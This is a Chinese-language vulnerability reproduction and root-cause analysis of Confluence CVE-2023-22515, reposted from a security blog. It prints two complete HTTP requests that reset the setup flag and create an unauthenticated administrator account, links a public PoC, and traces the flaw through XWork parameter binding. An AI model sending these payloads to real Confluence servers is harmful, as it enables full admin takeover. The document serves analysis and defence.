【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

admin 2024年2月15日19:14:01评论7 views字数 5189阅读17分17秒阅读模式

麋鹿安全[ELK]

参考:

https://confluence.atlassian.com/conf85/database-setup-for-mysql-1283361000.html

文章目录:

0x01 漏洞概要0x02 漏洞复现0x03 环境搭建0x04 漏洞分析0x05 后续思考

{ # 漏洞概要 }

ELK

【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

2023 年 10 月 4 日,Atlassian 发布了CVE-2023-22515 的通报,这是一个影响 Confluence Server 和 Confluence Data Center 漏洞

最初,Atlassian 将此漏洞描述为 权限提升 ,但此后他们将其重新分类为 Broken Access Control Attlassian 提供的 CVSS 分数为 10.0,利用简单,危害大

攻击者可以远程利用此漏洞,并且可以利用该漏洞在目标 Confluence 服务器上创建新的管理员帐户。这可能会导致服务器中保存的数据的完整性和机密性完全丧失

{ # 漏洞复现 }

ELK

【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

POC&EXP地址

该漏洞利用十分简单,通过两个数据包就可完成添加管理员的操作

https://github.com/Chocapikk/CVE-2023-22515

首先发送添加管理员的数据包

Confluence 回显:Your confluence instance is already completely setupConfluence 已经完成设置

【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

Payload 1 

GET /server-info.action?BootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1Host: localhost:8090Accept: */*Accept-Encoding: gzip, deflateConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36X-Atlassian-Token: no-check

setupComplete=false 告诉 Confluence 未设置完成

 Payload 2

POST /setup/setupadministrator.action HTTP/1.1Host:127.0.0.1:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeX-Atlassian-Token: no-checkContent-Length: 122Content-Type: application/x-www-form-urlencodedusername=elk&fullName=elk&[email protected]&password=elk&confirm=elk&setup-next-button=Next

接着访问管理页面,成功创建新的管理员

【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

{ # 环境搭建 }

ELK

具体的安装就不在累赘了,有几个踩坑点这里提醒下:

  • 需要配置jdbc的驱动包,官网下载mysql8相关版本的jar包,将其放在lib文件夹下

【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

  • Windows版本通过对应服务控制启动

【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

  • 在用mysql做支撑的时候,要修改参数,参考地址

    https://confluence.atlassian.com/conf85/database-setup-for-mysql-1283361000.html

由于我是用Windows进行的搭建,因此在此做代码调试

打开 bin 文件夹,控制台输入:

tomcat9w.exe //ES//Confluence301023213941

//ES//表示编辑服务的意思,会弹出一个服务属性窗口,可以对相关属性进行修改

为了调试,需要在 Java Options 输入框中加入如下选项,然后点击确定重启服务即可。

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5080

【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

接着给IDEA配置远程调试,再导入Confluence需要的依赖包       (confluenceWEB-INF 文件夹)

【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

{ # 漏洞分析 }

ELK

Confluence 是一个非常大的 Java 应用程序,基于 Apache Struts 框架构建。作为其中的一部分,XWork2 使用了该框架。XWork 框架允许通过 HTTP 请求中提供的 HTTP 参数来设置 Java 对象的参数

【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

例如在程序中,调用了方法:getFormData().setName("Charles")

通过XWork进行http发送,就是:formData.name=Charles

如果getFormData() 返回 null,则使用默认构造器,再用setFormDat(Object object) 进行设置

step1 发送数据包:

  POST /setup/setupadministrator.action HTTP/1.1  Host:localhost:8090  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0  Accept-Encoding: gzip, deflate  Accept: */*  Connection: close  X-Atlassian-Token: no-check  Content-Length: 122  Content-Type: application/x-www-form-urlencoded  username=elk&fullName=elk&[email protected]&password=elk&confirm=elk&setup-next-button=Next

来到 SetupCheckInterceptor 拦截器,触发 intercept() 方法

BootstrapUtils.getBootstrapManager().isSetupComplete() 

ContainerManager.isContainerSetup()  

用于检查 Confluence 是否进行设置;

BootstrapUtils.getBootstrapManager()返回 DefaultAtlassianBootstrapManager 对象,

再调用isSetupComplete() 方法

public boolean isSetupComplete() {          return this.isBootstrapped() && this.applicationConfig.isSetupComplete();}

【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

这里我估值,返回 alreadysetup

【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

如果我们可以使isSetupCompletereturn false,则SetupCheckInterceptor不会返回 "alreadysetup",也就能对 Confluence实现"覆盖"

前面提到了,XWorks 允许 以HTTP的形式调用对象的setter 方法。我们需要识别一个未经身份验证的端点,其 Action 对象还公开一个合适的 get 方法,该方法将允许我们访问应用程序配置。

存在一个类:com.atlassian.confluence.core.actions.ServerInfoAction

基于 com.atlassian.confluence.core.ConfluenceActionSupport

public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {    // ...    public BootstrapStatusProvider getBootstrapStatusProvider() {    if (this.bootstrapStatusProvider == null)      this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();     return this.bootstrapStatusProvider;  }  // ...}

它存在 getter方法,返回BootstrapStatusProviderImpl 

该对象实例,又存在 getter 方法,返回ApplicationConfiguration

public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {  // ...  public ApplicationConfiguration getApplicationConfig() {    return this.delegate.getApplicationConfig();  }  // ...}

该对象实例,存在 setter 方法,可以设置应用程序配置

public class ApplicationConfig implements ApplicationConfiguration {  // ...    public synchronized void setSetupComplete(boolean setupComplete) {        this.setupComplete = setupComplete;    }  // ...}

综合起来,调用栈为:

getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false);

以http格式进行发送:bootstrapStatusProvider.applicationConfig.setupComplete=false

Step2 发送数据包,设置 setupComplete=false

GET /server-info.action?BootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1Host: localhost:8090Accept: */*Accept-Encoding: gzip, deflateConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36X-Atlassian-Token: no-check

X-Atlassian-Token: no-check 头允许我们避免 XSRF 检查 com.atlassian.xwork.interceptors.XsrfTokenInterceptor

【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

com.atlassian.config.ApplicationConfig#setSetupComplete处设置断点,估值为false

【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

再进行第一步的流量包,此时出现了变化,我们已经能对Confluence进行"覆盖"

【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

{ # 引发的思考 }

ELK

  1. 我们已经看到,此漏洞的根本原因是攻击者能够在未经身份验证的端点的 Action 对象上执行复杂的 getter/setter 方法,从而允许修改关键属性。通过修改setupComplete 属性值,攻击者创建新的管理员用户。

  2. 对于 Struts Action 公开 getter属性所返回的对象要重点关注,尤其注意这些对象中带有的 setter 方法;

  3. 有些对象可能带有隐含的 getter和 setter 方法,比如 Lombok 修饰的对象或者 Spring Bean 等,这类属性可能会被开发者忽略;

  4. 如果攻击者可以找到另一个合适的未经身份验证的端点,则 URI 路径可能与上述不同

  5. CVE-2023-22518 已经出现,虽然详细的分析还没出来,我们也不难猜到,除了针对特定action(例如/server-info.action继承于ConfluenceActionSupport(许多action也是如此))利用漏洞创建新的管理员用户之外,还有其他利用途径…….


原文始发于微信公众号(渗透安全团队):【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日19:14:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】浅分析 Apache Confluence [CVE-2023-22515]https://cn-sec.com/archives/2178756.html

发表评论

匿名网友 填写信息